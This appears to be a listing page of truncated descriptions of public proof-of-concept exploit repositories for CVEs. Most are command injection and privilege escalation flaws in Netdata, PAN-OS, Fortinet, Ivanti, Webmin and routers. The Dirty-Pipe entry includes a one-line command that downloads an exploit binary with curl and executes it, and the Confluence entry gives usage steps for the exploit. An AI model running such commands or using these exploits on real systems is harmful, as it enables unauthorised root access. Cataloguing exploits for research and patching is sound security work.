CVE-2024-32019-ndsudo-local-privilege-escalation-NetData

CVE-2024-32019 Proof of Concept Python A Python implementation of the Local Privilege Escalation LPE exploit for Netdata CVE-2024-32019. This script exploits a vulnerability in the ndsudo component where the PATH environment variable is not properly sanitized. This allows a local attacker to...

CVE-2026-11834

CVE-2026-11834 PoC TP-Link DHCP Option 66 Unauthenticated RCE CVE-2026-11834 Overview A command injection vulnerability CWE-78 in the DHCP Option 66 "TFTP Server Name" handling of TP-Link router firmware allows an unauthenticated attacker on the same network segment to execute arbitrary commands ...

CVE-2026-10520

🎯 CVE-2026-10520 & CVE-2026-10523 - Ivanti Sentry Pre-Authentication Remote Code Execution + Authentication Bypass Author: Ashraf Zaryouh "0xBlackash" 📌 Overview Two critical vulnerabilities affecting Ivanti Sentry formerly MobileIron Sentry: CVE-2026-10520 → CVSS 10.0 - Pre-auth OS Command...

CVE-2021-22123

CVE-2021-22123 Fortinet FortiWeb Authenticated OS Command Injection Hit Counter The command injection vulnerability in the FortiWeb management interface may allow an authenticated remote attacker to execute arbitrary commands in the system via the SAML server configuration page. Executing command...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS Command Injection Vendor Description A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute...

CVE-2024-11003-POC

CVE-2024-11003-POC Description Qualys discovered that needrestart, before version 3.8, passes unsanitized data to a library Modules::ScanDeps which expects safe input. This could allow a local attacker to execute arbitrary shell commands. Please see the related CVE-2024-10224 in Modules::ScanDeps...

Dirty-Pipe

Oneline Exploit CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2016-5640

CVE-2016-5640 Crestron AirMedia AM-100 RCE CVE-2016-5640 Metasploit Module Module for exploiting a Remote Command Injection vulnerability in the wireless diagnostics page for Crestron AirMedia AM-100 devices with a firmware version 1.4.0.13. Commands execute as the account running the service i.e...

CVE-2022-0997

Fidelis Network and Deception - CVE-2022-0997 - Insecure File Permissions Privilege Escalation Releasability and Acknowledgements The exploit was approved for public release by the United States Government. Special thanks to the servicemen and government liaisons tasked with approving the...

liferay-ga4-rce-research

Liferay CE 7.0.3 GA4 — Vulnerability Research RAPTOR Loop-Hunt A security audit of Liferay Portal CE 7.0.3 GA4 git tag 7.0.3-ga4, commit b2d7cc68a performed with the RAPTOR loop-hunt methodology: deterministic recon → 25 isolated generator agents reading raw source → 22 independent judge agents...

CVE-2022-36446-Webmin-RCE

CVE-2022-36446 — Webmin 1.997 RCE Authenticated Exploit for the Remote Code Execution vulnerability in Webmin versions prior to 1.997, through the Software Package Updates module. How does it work? The Webmin Software Package Updates module does not properly sanitize the u parameter before passin...

CVE-2025-67888

CVE-2025-67888 Control Web Panel = 0.9.8.1208 admin/index.php OS Command Injection Vulnerability Affected Versions: Version 0.9.8.1208 and prior versions. Vulnerability Description: User input passed via the "key" GET parameter to /admin/index.php when the "api" parameter is set is not properly...

CVE-2024-23108

CVE-2024-23108 POC Proof of concept exploit to blindly execute commands as root on vulnerable FortiSIEM appliances. I just quickly added the option to supply a list and added some coloring. The orginal and all the cred goes to horizon3 see blog post below Blog Post Root cause and indicators of...

CVE-2026-36356

CVE-2026-36356: MeiG Smart FORGESLT711 GoAhead — Unauthenticated OS Command Injection /action/SetRemoteAccessCfg CVE : CVE-2026-36356 CWE : CWE-78, CWE-306 Discoverer : Daniil Gordeev Disclosed : 2026-05-03 Summary The GoAhead web server bundled with MeiG Smart FORGESLT711 4G LTE CPE devices...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、put the cmd.vm on your website must use ftp or https ,http doesn't work 2、modify RCEexp.py ，change the filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

FortiSandbox-RCE-Exploit-CVE-2026-39808

FortiSandbox RCE Scanner — CVE-2026-39808 Unauthenticated OS Command Injection as root in Fortinet FortiSandbox Vulnerability • Installation • Usage • How It Works • Pipeline • Shodan Dorks • Disclaimer Vulnerability CVE-2026-39808 is a critical unauthenticated OS command injection vulnerability ...

CVE-2026-31431

CVE-2026-31431 Introduction Run with: ansible-playbook -v -i environment/production/inventory --timeout=1 playbook.yml Links https://copy.fail https://vulners.com/cve/CVE-2026-31431 https://access.redhat.com/security/cve/cve-2026-31431 https://security-tracker.debian.org/tracker/CVE-2026-31431...

CVE-2026-54161

CVE-2026-54161 PoC Summary upsmon interpolates the server-supplied, attacker-controllableups.alarm value, unsanitized, into a shell command that it runs via system. When a monitored device reports an ALARM state and the operator has configured NOTIFYCMD with EXEC on the ALARM event, an ups.alarm...

Pyrescom-Termod-PoC

Pyrescom-Termod-PoC This is the Proof-of-concept exploit code for three vulnerabilities discovered by Jonas Mattsson and Hugo van den Toorn at Outpost24 Ghost Labs. These vulnerabilities are discovered in the web server component on a Pyrescom Termod4 time control machine. These vulnerabilities c...

CVE-2026-75616

CVE-2026-75616 Authenticated OS command injection in the TP-Link Archer C20 v6 web management interface. BPA WAN configuration values are passed to system without adequate neutralization, allowing an authenticated administrator on the adjacent network to execute commands as root. Discovered and...